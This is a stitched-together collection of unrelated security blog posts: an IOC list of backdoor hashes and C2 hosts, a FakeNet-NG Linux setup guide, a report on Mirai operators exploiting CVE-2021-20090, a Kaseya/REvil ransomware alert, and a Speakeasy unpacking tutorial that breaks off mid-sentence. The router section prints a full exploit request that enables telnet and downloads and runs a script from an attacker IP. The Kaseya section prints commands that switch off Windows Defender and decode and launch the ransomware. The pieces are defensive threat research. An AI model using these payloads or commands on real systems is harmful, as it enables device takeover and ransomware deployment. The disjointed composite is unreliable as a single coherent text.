Backdoor 412464b25bf136c3780aff5a5a67d9390a0d6a6f852aea0957263fc41e266c8b SHA256 Backdoor 0d096d983d013897dbe69f3dae54a5f2ada8090b886ab68b74aa18277de03052 SHA256 Backdoor cfba16fa9aa7fdc7b744b2832ef65558d8d9934171f0d6e902e7a423d800b50f SHA256 Backdoor a71b3f06bf87b40b1559fa1d5a8cc3eab4217f317858bce823dd36302412dabc SHA256
Backdoor 235044f58c801955ed496f8c84712fdb353fdd9b6fda91886262234bdb710614 SHA256 Backdoor e1a51320c982179affb26f417fbbba7e259f819a2721ab9eb0f6d665b6ea1625 SHA256 Backdoor d1be98177f8ae2c64659396277e7d5c8b7dba662867697feb35282149e3f3cbb SHA256 Backdoor ab3470a45ec0185ca1f31291f69282c4a188a46e SHA1 Backdoor 10de515de5c970385cd946dfda334bc10a7b2d65 SHA1 Backdoor eb231f08cce1de3e0b10b69d597b865a7ebac4b3 SHA1 Backdoor 66c3dfcb2cc0dfb60e40115e08fc293276e915c2536de9ed6a374481279b852b SHA256 Loader 73640e8984ad5e5d9a1fd3eee39ccb4cc695c9e3f109b2479296d973a5a494b6 SHA256 Loader 7777bd2bdeff2fd34a745c350659ee24e330b01bcd2ee56d801d5fc2aceb858c SHA256 Loader 8bf4e301538805b98bdf09fb73e3e370276a252d132e712eae143ab58899763e SHA256 Loader 18b2e1c52d0245824a5bac2182de38efb3f82399b573063703c0a64252a5c949 SHA256 Loader d5c1a2ca8d544bedb0d1523db8eeb33f0b065966f451604ff4715f600994bc47 SHA256 ZIP 0939b68af0c8ee28ed66e2d4f7ee6352c06bda336ccc43775fb6be31541c6057 SHA256 BAT 0595a719e7ffa77f17ac254134dba2c3e47d8c9c3968cda69c59c6b021421645 SHA256 Dropper 7782fdc84772c6c5c505098707ced6a17e74311fd5c2e2622fbc629b4df1d798 SHA256 Dropper 18751e47648e0713345552d47752209cbae50fac07895fc7dd1363bbb089a10b SHA256 Driver 64-bit e4e4ff9ee61a1d42dbc1ddf9b87223393c5fbb5d3a3b849b4ea7a1ddf8acd87b SHA256
Driver 64-bit 395dbe0f7f90f0ad55e8fb894d19a7cc75305a3d7c159ac6a0929921726069c1 SHA256 Driver 32-bit befc197bceb3bd14f44d86ff41967f4e4c6412604ec67de481a5e226f8be0b37 SHA256 Driver 32-bit 1c617fd9dfc068454e94a778f2baec389f534ce0faf786c7e24db7e10093e4fb SHA256 Legitimate Synaptics Setup.exe bde7b9832a8b2ed6d33eb33dae7c5222581a0163c1672d348b0444b516690f09 SHA256 syn.exe 8b88fe32bd38c3415115592cc028ddaa66dbf3fe024352f9bd16aed60fd5da3e SHA256 syn.exe ba763935528bdb0cc6d998747a17ae92783e5e8451a16569bc053379b1263385 SHA256 syn.exe 9908cb217080085e3467f5cedeef26a10aaa13a1b0c6ce2825a0c4912811d584 SHA256 syn.exe c6bcde5e8185fa9317c17156405c9e2c1f1887d165f81e31e24976411af95722 SHA256 winmm.dll 3403923f1a151466a81c2c7a1fda617b7fbb43b1b8b0325e26e30ed06b6eb936 SHA256 Backdoor 9BCD82563C72E6F72ADFF76BD8C6940C6037516A Certificate thumbprint - 2A89C5FD0C23B8AF622F0E91939B486E9DB7FAEF Certificate thumbprint - 192.95.36[.
]61 Network - vpn2.smi1egate[.
]com Network - svn1.smi1egate[.
]com Network - giga.gnisoft[.
]com Network - giga.gnisoft[.
]com Network - 104.223.34[.
]198 Network - 103.224.80[.
]76 Network - hxxp://104.223.34[.
]198/111.php Network - hxxp://104.223.34[.
]198/1dll.php Network - hxxp://104.223.34[.
]198/syn.php Network - hxxp://104.223.34[.
]198/p.txt Network - msupdate2 Service name - WebService Service name - alg Service name - msupdate Service name - msupdateday Service name - DigaTrack Service name - crtsys.sys File name - %APPDATA%\\syn.exe File name - %APPDATA%\\newdev.dll File name - Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Introduction In 2016, FLARE introduced FakeNet-NG , an open-source network analysis tool written in Python.
FakeNet-NG allows security analysts to observe and interact with network applications using standard or custom protocols on a single Windows host, which is especially useful for malware analysis and reverse engineering.
Since FakeNet-NG’s release, FLARE has added support for additional protocols.
FakeNet-NG now has out-of-the-box support for DNS, HTTP (including BITS), FTP, TFTP, IRC, SMTP, POP, TCP, and UDP as well as SSL.
Building on this work, FLARE has now brought FakeNet-NG to Linux.
This allows analysts to perform basic dynamic analysis either on a single Linux host or using a separate, dedicated machine in the same way as INetSim.
INetSim has made amazing contributions to the productivity of the security community and is still the tool of choice for many analysts.
Now, FakeNet-NG gives analysts a cross-platform tool for malware analysis that can directly integrate with all the great Python-based infosec tools that continually emerge in the field.
Getting and Installing FakeNet-NG on Linux If you are running REMnux , then good news: REMnux now comes with FakeNet-NG installed, and existing users can get it by running the update-remnux command.
For other Linux distributions, setting up and using FakeNet-NG will require the Python pip package manager, the net-tools package, and the development files for OpenSSL, libffi , and libnetfilterqueue .
Here is how to quickly obtain the appropriate prerequisites for a few common Linux distributions: Debian and Ubuntu: sudo apt-get install python-pip python-dev libssl-dev libffi-dev libnetfilter-queue-dev net-tools Fedora 25 and CentOS 7: yum -y update; yum -y install epel-release; # <-- If CentOS yum -y install redhat-rpm-config; # <-- If Fedora yum -y groupinstall 'Development Tools'; yum -y install python-pip python-devel openssl-devel libffi-devel libnetfilter_queue-devel net-tools Once you have the prerequisites, you can download the latest version of FakeNet-NG and install it using setup.py install .
A Tale of Two Modes On Linux, FakeNet-NG can be deployed in MultiHost mode on a separate host dedicated to network simulation, or in the experimental SingleHost mode for analyzing software locally.
Windows only supports SingleHost mode.
FakeNet-NG is configured by default to run in NetworkMode: Auto , which will automatically select SingleHost mode on Windows or MultiHost mode on Linux.
Table 1 lists the currently supported NetworkMode settings by operating system.
SingleHost
MultiHost Windows Default (Auto) Unsupported Linux Experimental Default (Auto) Table 1: FakeNet-NG NetworkMode support per platform FakeNet-NG’s support for SingleHost mode on Linux currently has limitations.
First, FakeNet-NG does not yet support conditional redirection of specific processes, hosts, or ports on Linux.
This means that settings like ProcessWhiteList will not work as expected.
We plan to add support for these settings in a later release.
In the meantime, SingleHost mode supports redirecting all Internet-bound traffic to local listeners, which is the main use case for malware analysts.
Second, the python-netfilterqueue library is hard-coded to handle datagrams of no more than 4,012 octets in length.
Loopback interfaces are commonly configured with high maximum transmittal unit (MTU) settings that allow certain applications to exceed this hard-coded limit, resulting in unanticipated network behavior.
An example of a network application that may exhibit issues due to this would be a large file transfer via FTP.
A workaround is to recompile python-netfilterqueue with a larger buffer size or to decrease the MTU for the loopback interface (i.e.
lo) to 4,012 or less.
Configuring FakeNet-NG on Linux In addition to the new NetworkMode setting, Linux support for FakeNet-NG introduces the following Linux-specific configuration items:
LinuxRedirectNonlocal : For MultiHost mode, this setting specifies a comma-delimited list of network interfaces for which to redirect all traffic to the local host so that FakeNet-NG can reply to it.
The setting in FakeNet-NG’s default configuration is *, which configures FakeNet-NG to redirect on all interfaces.
LinuxFlushIptables : Deletes all iptables rules before adding rules for FakeNet-NG.
The original rules are restored as part of FakeNet-NG’s shutdown sequence which is triggered when you hit Ctrl+C.
This reduces the likelihood of conflicting, erroneous, or duplicate rules in the event of unexpected termination, and is enabled in FakeNet-NG’s default configuration.
LinuxFlushDnsCommand :
Specifies the command to flush the DNS resolver cache.
When using FakeNet-NG in SingleHost mode on Linux, this ensures that name resolution requests are forwarded to a DNS service such as the FakeNet-NG DNS listener instead of using cached answers.
The setting is not applicable on all distributions of Linux, but is populated by default with the correct command for Ubuntu Linux.
Refer to your distribution’s documentation for the proper command for this behavior.
Starting FakeNet-NG on Linux Before using FakeNet-NG, also be sure to disable any services that may bind to ports corresponding to the FakeNet-NG listeners you plan to use.
An example is Ubuntu’s use of a local dnsmasq service.
You can use netstat to find such services and should refer to your Linux distribution’s documentation to determine how to disable them.
You can start FakeNet-NG by invoking fakenet with root privileges, as shown in Figure 1.
Figure 1: Starting FakeNet-NG on Linux You can alter FakeNet-NG’s configuration by either directly editing the file displayed in the first line of FakeNet-NG’s output, or by creating a copy and specifying its location with the -c command-line option.
Conclusion FakeNet-NG now brings the convenience of a modern, Python-based, malware-oriented network simulation tool to Linux, supporting the full complement of listeners that are available on FakeNet-NG for Windows.
Users of REMnux can make use of FakeNet-NG already, while users of other Linux distributions can download and install it using standard package management tools.
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Juniper Threat Labs continuously monitors in-the-wild network traffic for malicious activity.
Today, we have discovered an active exploitation of a vulnerability that was disclosed just 2 days ago.
CVE-2021-20090 is a vulnerability that was discovered by Tenable and made public on August 3, 2021.
This vulnerability potentially affects millions of home routers (and other IOT devices using the same vulnerable code base)
manufactured by no less than 17 vendors according to Tenable research, including some ISPs.
The common thread between these devices seems to be firmware from Arcadyan.
CVE-2021-20090 is a path traversal vulnerability that leads to an authentication bypass.
When exploited, the attacker can take over control of the affected device.
For example, Tenable has shown how to modify the configuration to enable telnet on a vulnerable router and gain root level shell access to the device.
As of August 5, we have identified some attack patterns that attempt to exploit this vulnerability in the wild coming from an IP address located in Wuhan, Hubei province, China.
The attacker seems to be attempting to deploy a Mirai variant on the affected routers using scripts similar in name to the ones mentioned by Palo Alto Networks in March.
We had witnessed the same activity starting February 18.
The similarity could indicate that the same threat actor is behind this new attack and attempting to upgrade their infiltration arsenal with yet another freshly disclosed vulnerability.
Given that most people may not even be aware of the security risk and won’t be upgrading their device anytime soon, this attack tactic can be very successful, cheap and easy to carry out.
Starting June 6, 2021, and through July 23, we have noticed this threat actor start exploiting other vulnerabilities: CVE-2020-29557 (DLink routers) CVE-2021-1497 and CVE-2021-1498 (Cisco HyperFlex) CVE-2021-31755  (Tenda AC11) CVE-2021-22502 (MicroFocus OBR) CVE-2021-22506
(MicroFocus AM) a couple more exploits from exploit-db with no related CVEs.
This demon s trates that the group has been continuously adding new exploits to its arsenal .
The latest CVE exploitation , CVE-2021- 20090 is probably not the last one to be added.
Attack Details
The initial attack originated from the IP address 27.22.80[.
]19 over HTTP with the following POST method: POST /images/..
%2fapply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=
ping.html&action_params=
blink_time%3D5&ARC_ping_ipaddress=212.192.241.7%0A\r\nARC_SYS_TelnetdEnable=1&%0AARC_SYS_=cd+/tmp;\r\nwget+http://212.192.241.72/lolol.sh;\r\ncurl+-O+http://212.192.241.72/lolol.sh;\r\nchmod+777+lolol.sh;\r\nsh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4 As we can see from this POST request, the attacker will modify the configuration of the attacked device to enable Telnet using “ARC_SYS_TelnetdEnable=1” then proceeds to download a new script from the IP address 212.192.241[.
]72 using either wget or curl and then executes it.
We obtained a copy of the payload and confirmed it is a Mirai botnet variant.
It weas interesting to note that this botnet removes previous Mirai infections to clean the slate for itself.
Conclusion It is clear that threat actors keep an eye on all disclosed vulnerabilities.
Whenever an exploit POC is published, it often takes them very little time to integrate it into their platform and launch attacks.
Most organizations do not have policies to patch within a few days, taking sometimes weeks to react.
But in the case of IOT devices or home gateways, the situation is much worse as most users are not tech saavy and even those who are do not get informed about potential vulnerabilities and patches to apply.
It is clear to me that the only sure way to remedy this issue is to require vendors to offer 0-down-time automatic updates.
Juniper Networks Advanced Threat Protection with SecIntel provides protection against these attacks.
IOCs Attack source IP: 27.22.80[.
]19 Shell script and binaries downloaded from: 212.192.241[.
]72 Shell script: 9793ac5afd1be5ec55476d2c205260d1b7af6db7cc29a9dc0f7fbee68a177c78
lolol.sh Dark binaries: 73edf8bfbbeaccdd84204f24402dcf488c3533be2682724e5906396b9237411d dark.arm5 8bb454cd942ce6680f083edf88ffa31661a47a45eb3681e1b36dd05043315399 dark.mips f83eadaa00e81ad51e3ab479b900b981346895b99d045a6b6f77491c3132b58c dark.m68k e4bc34e321b31926fd2fa1696136187b13864dfa03fba6848e59f9f72bfa9529 dark.sh4 80331cf89f3e6026b33b8f1bfa1c304295b9327311661d7927f78824f04cf528 dark.arm6 904f9b2e029595365f4f4426069b274810510908c7dd23a3791a831f51e9f1fc dark.mpsl 283f932f30756408a59dac97a6965eb792915242214d590eab1c6cb049148582 dark.x86 c2f5bbf35afc7335f789e420c23c43a069ecfcca1a8f9fac5cd554a7a769440e dark.arm7 70764ef9800c1d09f965fbb9698d0eda52448b23772d118f2f2c4ba37b59fc20 dark.ppc
FortiGuard Labs Breaking Update A new global supply chain ransomware attack is currently targeting users of the Kaseya VSA platform—software that provides remote management of IT operations spanning service desk ticketing to performance monitoring and reporting.
As a central management console, the Kaseya VSA platform is used by numerous managed service providers to remotely monitor and deploy software, updates, etc.
to multiple machines simultaneously in a multi-user environment.
Unofficial reports have identified the REvil ransomware threat actors as being behind this supply chain attack.
REvil has been attributed to the DarkSide actors who most recently attacked Colonial Pipeline and JBS foods back in May.
Those same unofficial reports claim that a malicious update was deployed to the Kaseya VSA interface by the threat actors as an update or hot fix for the Kaseya VSA agent.
This fake update is a ransomware file, and it has now been downloaded to thousands of systems, including the machines of MSP providers and their customers who use Kaseya VSA.
There are reports of ransom demands of $50,000 for smaller organizations and up to $5 million for larger enterprises.
Kaseya is urging all customers to take all on-premises VSA servers offline immediately.
Only on-premises systems have been impacted by this attack.
Cloud-based SaaS services remain unaffected.
The Kaseya advisory reads in part: \"ALL ON-PREMISES VSA SERVERS SHOULD CONTINUE TO REMAIN OFFLINE UNTIL FURTHER INSTRUCTIONS FROM KASEYA ABOUT WHEN IT IS SAFE TO RESTORE OPERATIONS.
A PATCH WILL BE REQUIRED TO BE INSTALLED PRIOR TO RESTARTING THE VSA.\" Reports of the attack first surfaced when Huntress Labs, a managed detection and response (MDR) provider, first discovered the attack and posted their findings on Reddit.
Timing the attack for the Independence Day holiday in the United States, this supply chain ransomware attack has impacted hundreds of organizations worldwide, both large and small, across all industries and managed service providers.
Update as of July 7 th : This sophisticated supply-chain ransomware attack initially leveraged a vulnerability in the Kaseya VSA software to gain access to victim organizations, and then used REvil’s RaaS to infect those organizations with ransomware.
For that reason, FortiGuard Labs is providing a separate Outbreak Alert analysis for both the initial exploitation of the Kaseya vulnerability and for the subsequent REvil ransomware attack.
Each Outbreak Alert includes information about the attack itself, Fortinet product versions that provide protection, which products could break the attack sequence, threat hunting techniques, and other information.
Go here for the Kaseya Outbreak Alert and here for the REvil Outbreak Alert .
What to look for Threat indications that you should be aware of include: Initial notifications indicate that the \"KElevated######\" (SQL User) account performed this action.
VSA admin user accounts are disabled only moments before ransomware is deployed Ransomware encryptor is dropped to c:\\kworking\\agent.exe
The VSA procedure is named \"Kaseya VSA Agent Hot-fix” At least two tasks run the following:
C:\\WINDOWS\\system32\\cmd.exe /c ping 127.0.0.1 -n 4979 > nul C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection
AuditMode -Force
-MAPSReporting Disabled -SubmitSamplesConsent NeverSend copy /Y
C:\\Windows\\System32\\certutil.exe C:\\Windows\\cert.exe echo %RANDOM%
>>
C:\\Windows\\cert.exe C:\\Windows\\cert.exe -decode
c:\\kworking\\agent.crt c:\\kworking\\agent.exe del /q /f c:\\kworking\\agent.crt C:\\Windows\\cert.exe & c:\\kworking\\agent.exe
In addition, the encryptor (agent.exe) is signed with a valid digital signature that includes the following information: Name: PB03 TRANSPORT LTD.
Email: Brouillettebusiness@outlook.com CN =
Sectigo RSA Code Signing, CAO =
Sectigo Limited, L = Salford, S =
Greater Manchester, C = GB Serial #: 119acead668bad57a48b4f42f294f8f0 Issuer: https://sectigo.com/ When agent.exe runs, the following files are dropped into the hardcoded path C:\\Windows: MsMpEng.exe - the legit Windows Defender executable mpsvc.dll - the encryptor payload that is sideloaded by the legit Defender .EXE
Recommendations Fortinet strongly recommends organizations using the Kaseya VSA platform to implement the current guidance in Kaseya's official recommendation : \"IMMEDIATELY shutdown your VSA server until you receive further notice from [Kaseya].”
Fortinet Protections While the Kaseya VSA supply chain attack is how the threat actors got into the different networks, the ransomware used in those attacks is blocked by FortiGuard Labs through its AV coverage against known publicly available samples as: W32/Sodinokibi.
EAD4!tr.ransom W32/Sodinokibi.8859!tr.ransom W32/Sodinokibi.5421!tr.ransom FortiGuard Labs has IPS coverage in place as: Kaseya.
VSA.Remote.
Code.
Execution All known network IOC's are blocked by the WebFiltering client.
The FortiGuard AntiVirus service is supported by FortiGate , FortiMail, FortiClient , and FortiEDR .
The Fortinet AntiVirus engine is a part of each of those solutions as well.
As a result, customers who have these products with up-to-date protections are protected.
For FortiEDR protections, all published IOCs have been added to our Cloud intelligence service and will be blocked if executed on customer systems.
The FortiGuard Responder team has published a Knowledge Base analysis on Kaseya and “ How FortiEDR detects Kaseya supply chain ransomware attack .”
For FortiSandbox, all publicly known ransomware samples are detected by our behavior-based protection.
Appendix The following advisory was posted by Kaseya:
Information Regarding Potential Attack on Kaseya VSA
The following FortiGuard Threat Signal report contains the latest information about this ransomware attack as well as updated information about FortiGuard Labs protections: Global Ransomware and Supply Chain Attack on Kaseya VSA Affecting Multiple Organizations Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Andrew Davis recently announced the public release of his new Windows emulation framework named Speakeasy .
While the introductory blog post focused on using Speakeasy as an automated malware sandbox of sorts, this entry will highlight another powerful use of the framework: automated malware unpacking.
I will demonstrate, with code examples, how Speakeasy can be used programmatically to: Bypass unsupported Windows APIs to continue emulation and unpacking Save virtual addresses of dynamically allocated code using API hooks Surgically direct execution to key areas of code using code hooks Dump an unpacked PE from emulator memory and fix its section headers Aid in reconstruction of import tables by querying Speakeasy for symbolic information Initial Setup One approach to interfacing with Speakeasy is to create a subclass of Speakeasy’s Speakeasy class.
Figure 1 shows a Python code snippet that sets up such a class that will be expanded in upcoming examples.
import speakeasy class MyUnpacker(speakeasy.
Speakeasy): def __init__(self, config=
None): super(MyUnpacker, self).__init__(config=config)
Figure 1: Creating a Speakeasy subclass The code in Figure 1 accepts a Speakeasy configuration dictionary that may be used to override the default configuration.
Speakeasy ships with several configuration files .
The Speakeasy class is a wrapper class for an underlying emulator class.
The emulator class is chosen automatically when a binary is loaded based on its PE headers or is specified as shellcode.
Subclassing Speakeasy makes it easy to access, extend, or modify interfaces.
It also facilitates reading and writing stateful data before, during, and after emulation.
Emulating a Binary Figure 2 shows how to load a binary into the Speakeasy emulator.
self.module = self.load_module(filename) Figure 2: Loading the binary into the emulator The load_module function returns a PeFile object for the provided binary on disk.
It is an instance of the PeFile class defined in speakeasy/windows/common.py , which is subclassed from pefile ’s PE class.
Alternatively, you can provide the bytes of a binary using the data parameter rather than specifying a file name.
Figure 3 shows how to emulate a loaded binary.
self.run_module(self.module)
Figure 3: Starting emulation API Hooks
The Speakeasy framework ships with support for hundreds of Windows APIs with more being added frequently.
This is accomplished via Python API handlers defined in appropriate files in the speakeasy/winenv/api directory.
API hooks can be installed to have your own code executed when particular APIs are called during emulation.
They can be installed for any API, regardless of whether a handler exists or not.
An API hook can be used to override an existing handler and that handler can optionally be invoked from your hook.
The API hooking mechanism in Speakeasy provides flexibility and control over emulation.
Let’s examine a few uses of API hooking within the context of emulating unpacking code to retrieve an unpacked payload.
Bypassing Unsupported APIs When Speakeasy encounters an unsupported Windows API call, it stops emulation and provides the name of the API function that is not supported.
If the API function in question is not critical for unpacking the binary, you can add an API hook that simply returns a value that allows execution to continue.
For example, a recent sample’s unpacking code contained API calls that had no effect on the unpacking process.
One such API call was to GetSysColor .
In order to bypass this call and allow execution to continue, an API hook may be added as shown in Figure 4.
self.add_api_hook(self.getsyscolor_hook, 'user32', 'GetSysColor', argc=1 ) Figure 4: Adding an API hook According to MSDN , this function takes 1 parameter and returns an RGB color value represented as a DWORD .
If the calling convention for the API function you are hooking is not stdcall , you can specify the calling convention in the optional call_conv parameter .
The calling convention constants are defined in the speakeasy/common/arch.py file.
Because the GetSysColor return value does not impact the unpacking process, we can simply return 0 .
Figure 5 shows the definition of the getsyscolor_hook function specified in Figure 4.
def getsyscolor_hook(self, emu, api_name, func, params): return 0 Figure 5:
The GetSysColor hook returns 0
If an API function requires more finessed handling, you can implement a more specific and meaningful hook that suits your needs.
If your hook implementation is robust enough, you might consider contributing it to the Speakeasy project as an API handler!
Adding an API Handler Within the speakeasy/winenv/api directory you'll find usermode and kernelmode subdirectories that contain Python files for corresponding binary modules.
These files contain the API handlers for each module.
In usermode/kernel32.py , we see a handler defined for SetEnvironmentVariable as shown in Figure 6.
1: @apihook('SetEnvironmentVariable', argc=2) 2: def SetEnvironmentVariable(self, emu, argv, ctx={}): 3:     ''' 4:     BOOL SetEnvironmentVariable( 5:         LPCTSTR lpName, 6:         LPCTSTR lpValue 7:         ); 8:     ''' 9:     lpName, lpValue = argv 10:    cw = self.get_char_width(ctx) 11:    if lpName and lpValue: 12:        name = self.read_mem_string(lpName, cw) 13:
val = self.read_mem_string(lpValue, cw) 14:
argv[0] = name 15:        argv[1]
= val 16:        emu.set_env(name, val) 17:    return True Figure 6: API handler for SetEnvironmentVariable
A handler begins with a function decorator (line 1) that defines the name of the API and the number of parameters it accepts.
At the start of a handler, it is good practice to include MSDN's documented prototype as a comment (lines 3-8).
The handler's code begins by storing elements of the argv parameter in variables named after their corresponding API parameters (line 9).
The handler's ctx parameter is a dictionary that contains contextual information about the API call.
For API functions that end in an ‘ A ’ or ‘ W ’ (e.g., CreateFileA ), the character width can be retrieved by passing the ctx parameter to the get_char_width function (line 10).
This width value can then be passed to calls such as read_mem_string (lines 12 and 13), which reads the emulator’s memory at a given address and returns a string.
It is good practice to overwrite string pointer values in the argv parameter with their corresponding string values (lines 14 and 15).
This enables Speakeasy to display string values instead of pointer values in its API logs.
To illustrate the impact of updating argv values, examine the Speakeasy output shown in Figure 7.
In the VirtualAlloc entry, the symbolic constant string PAGE_EXECUTE_READWRITE replaces the value 0x40 .
In the GetModuleFileNameA and CreateFileA entries, pointer values are replaced with a file path.
KERNEL32.VirtualAlloc(0x0, 0x2b400, 0x3000, \"PAGE_EXECUTE_READWRITE\") -> 0x7c000 KERNEL32.GetModuleFileNameA(0x0, \"C:\\\\Windows\\\\system32\\\\sample.exe\", 0x104) -> 0x58 KERNEL32.CreateFileA(\"C:\\\\Windows\\\\system32\\\\sample.exe\", \"GENERIC_READ\", 0x1, 0x0, \"OPEN_EXISTING\", 0x80, 0x0) -> 0x84 Figure 7: Speakeasy API logs Saving the Unpacked Code Address Packed samples often use functions such as VirtualAlloc to allocate memory used to store the unpacked sample.
An effective approach for capturing the location and size of the unpacked code is to first hook the memory allocation function used by the unpacking stub.
Figure 8 shows an example of hooking VirtualAlloc to capture the virtual address and amount of memory being allocated by the API call.
1: def virtualalloc_hook(self, emu, api_name, func, params): 2:     ''' 3:     LPVOID VirtualAlloc( 4:        LPVOID lpAddress, 5:        SIZE_T dwSize, 6:        DWORD  flAllocationType, 7:        DWORD  flProtect 8:      ); 9:     ''' 10:    PAGE_EXECUTE_READWRITE = 0x40 11:    lpAddress, dwSize, flAllocationType, flProtect = params 12:    rv = func(params) 13:    if lpAddress == 0
and flProtect ==
PAGE_EXECUTE_READWRITE: 14:        self.logger.debug(\"[*] unpack stub VirtualAlloc call, saving dump info\") 15:        self.dump_addr =
rv 16:        self.dump_size = dwSize 17:    return rv Figure 8: VirtualAlloc hook to save memory dump information The hook in Figure 8 calls Speakeasy’s API handler for VirtualAlloc on line 12 to allow memory to be allocated.
The virtual address returned by the API handler is saved to a variable named rv .
Since VirtualAlloc may be used to allocate memory not related to the unpacking process, additional checks are used on line 13 to confirm the intercepted VirtualAlloc call is the one used in the unpacking code.
Based on prior analysis, we’re looking for a VirtualAlloc call that receives the lpAddress value 0 and the flProtect value PAGE_EXECUTE_READWRITE ( 0x40 ).
If these arguments are present, the virtual address and specified size are stored on lines 15 and 16 so they may be used to extract the unpacked payload from memory after the unpacking code is finished.
Finally, on line 17, the return value from the VirtualAlloc handler is returned by the hook.
Surgical Code Emulation Using API and Code Hooks Speakeasy is a robust emulation framework; however, you may encounter binaries that have large sections of problematic code.
For example, a sample may call many unsupported APIs or simply take far too long to emulate.
An example of overcoming both challenges is described in the following scenario.
Unpacking Stubs Hiding in MFC Projects A popular technique used to disguise malicious payloads involves hiding them inside a large, open-source MFC project.
MFC is short for Microsoft Foundation Class , which is a popular library used to build Windows desktop applications.
These MFC projects are often arbitrarily chosen from popular Web sites such as Code Project .
While the MFC library makes it easy to create desktop applications, MFC applications are difficult to reverse engineer due to their size and complexity.
They are particularly difficult to emulate due to their large initialization routine that calls many different Windows APIs.
What follows is a description of my experience with writing a Python script using Speakeasy to automate unpacking of a custom packer that hides its unpacking stub within an MFC project.
Reverse engineering the packer revealed the unpacking stub is ultimately called during initialization of the CWinApp object, which occurs after initialization of the C runtime and MFC.
After attempting to bypass unsupported APIs, I realized that, even if successful, emulation would take far too long to be practical.
I considered skipping over the initialization code completely and jumping straight to the unpacking stub.
Unfortunately, execution of the C-runtime initialization code was required in order for emulation of the unpacking stub to succeed.
My solution was to identify a location in the code that fell after the C-runtime initialization but was early in the MFC initialization routine.
After examining the Speakeasy API log shown in Figure 9, such a location was easy to spot.
The graphics-related API function GetDeviceCaps is invoked early in the MFC initialization routine.
This was deduced based on 1) MFC is a graphics-dependent framework and 2)
GetDeviceCaps is unlikely to be called during C-runtime initialization.
0x43e0a7: 'kernel32.FlsGetValue(0x0)' -> 0x4150 0x43e0e3: 'kernel32.DecodePointer(0x7049)' ->
0x7048 0x43b16a: 'KERNEL32.HeapSize(0x4130, 0x0, 0x7000)' -> 0x90 0x43e013: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001
0x43e02a: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001
0x43e02c: 'kernel32.FlsGetValue(0x0)' -> 0x4150 0x43e068: 'kernel32.EncodePointer(0x44e215)' -> 0x44e216 0x43e013: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001 0x43e02a: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001
0x43e02c: 'kernel32.FlsGetValue(0x0)' -> 0x4150 0x43e068: 'kernel32.EncodePointer(0x704c)' -> 0x704d 0x43c260: 'KERNEL32.LeaveCriticalSection(0x466f28)' ->
None 0x422151: 'USER32.GetSystemMetrics(0xb)' -> 0x1 0x422158: 'USER32.GetSystemMetrics(0xc)' -> 0x1 0x42215f: 'USER32.GetSystemMetrics(0x2)' -> 0x1 0x422169: 'USER32.GetSystemMetrics(0x3)' ->
0x1 0x422184: 'GDI32.GetDeviceCaps(0x288, 0x58)' ->
None Figure 9: Identifying beginning of MFC code in Speakeasy API logs To intercept execution at this stage I created an API hook for GetDeviceCaps as shown in Figure 10.
The hook confirms the function is being called for the first time on line 2.
1: def mfc_init_hook(self, emu, api_name, func, params): 2:     if not self.trigger_hit: 3:         self.trigger_hit = True 4:         self.h_code_hook =   self.add_code_hook(self.start_unpack_func_hook) 5:         self.logger.debug(\"[*] MFC init api hit, starting unpack function\") Figure 10: API hook set for GetDeviceCaps Line 4 shows the creation of a code hook using the add_code_hook function of the Speakeasy class.
Code hooks allow you to specify a callback function that is called before each instruction that is emulated.
Speakeasy also allows you to optionally specify an address range for which the code hook will be effective by specifying begin and end parameters.
After the code hook is added on line 4, the GetDeviceCaps hook completes and, prior to the execution of the sample's next instruction, the start_unpack_func_hook function is called.
This function is shown in Figure 11.
1: def start_unpack_func_hook(self, emu, addr, size, ctx): 2:     self.h_code_hook.disable() 3:     unpack_func_va = self.module.get_rva_from_offset(self.unpack_offs) + self.module.get_base() 4:     self.set_pc(unpack_func_va) Figure 11:
Code hook that changes the instruction pointer The code hook receives the emulator object, the address and size of the current instruction, and the context dictionary (line 1).
On line 2, the code hook disables itself.
Because code hooks are executed with each instruction, this slows emulation significantly.
Therefore, they should be used sparingly and disabled as soon as possible.
On line 3, the hook calculates the virtual address of the unpacking function.
The offset used to perform this calculation was located using a regular expression.
This part of the example was omitted for the sake of brevity.
The self.module attribute was previously set in the example code shown in Figure 2.
It being subclassed from the PE class of pefile allows us to access useful functions such as get_rva_from_offset() on line 3.
This line also includes an example of using self.module.get_base() to retrieve the module's base virtual address.
Finally, on line 4, the instruction pointer is changed using the set_pc function and emulation continues at the unpacking code.
The code snippets in Figure 10 and Figure 11 allowed us to redirect execution to the unpacking code after the C-runtime initialization completed and avoid MFC initialization code.
Dumping and Fixing Unpacked PEs Once emulation has reached the original entry point of the unpacked sample, it is time to dump the PE and fix it up.
Typically, a hook would save the base address of the unpacked PE in an attribute of the class as illustrated on line 15 of Figure 8.
If the unpacked PE does not contain the correct entry point in its PE headers, the true entry point may also need to be captured during emulation.
Figure 12 shows an example of how to dump emulator memory to a file.
with open(self.output_path, \"wb\") as up: mm = self.get_address_map(self.dump_addr) up.write(self.mem_read(mm.get_base(), mm.get_size()))
Figure 12: Dumping the unpacked PE If you are dumping a PE that has already been loaded in memory, it will not have the same layout as it does on disk due to differences in section alignment.
As a result, the dumped PE's headers may need to be modified.
One approach is to modify each section's PointerToRawData value to match its VirtualAddress field.
Each section's SizeOfRawData value may need to be padded in order conform with the FileAlignment value specified in the PE’s optional headers.
Keep in mind the resulting PE is unlikely to execute successfully.
However, these efforts will allow most static analysis tools to function correctly.
The final step for repairing the dumped PE is to fix its import table.
This is a complex task deserving of its own blog post and will not be discussed in detail here.
However, the first step involves collecting a list of library function names and their addresses in emulator memory.
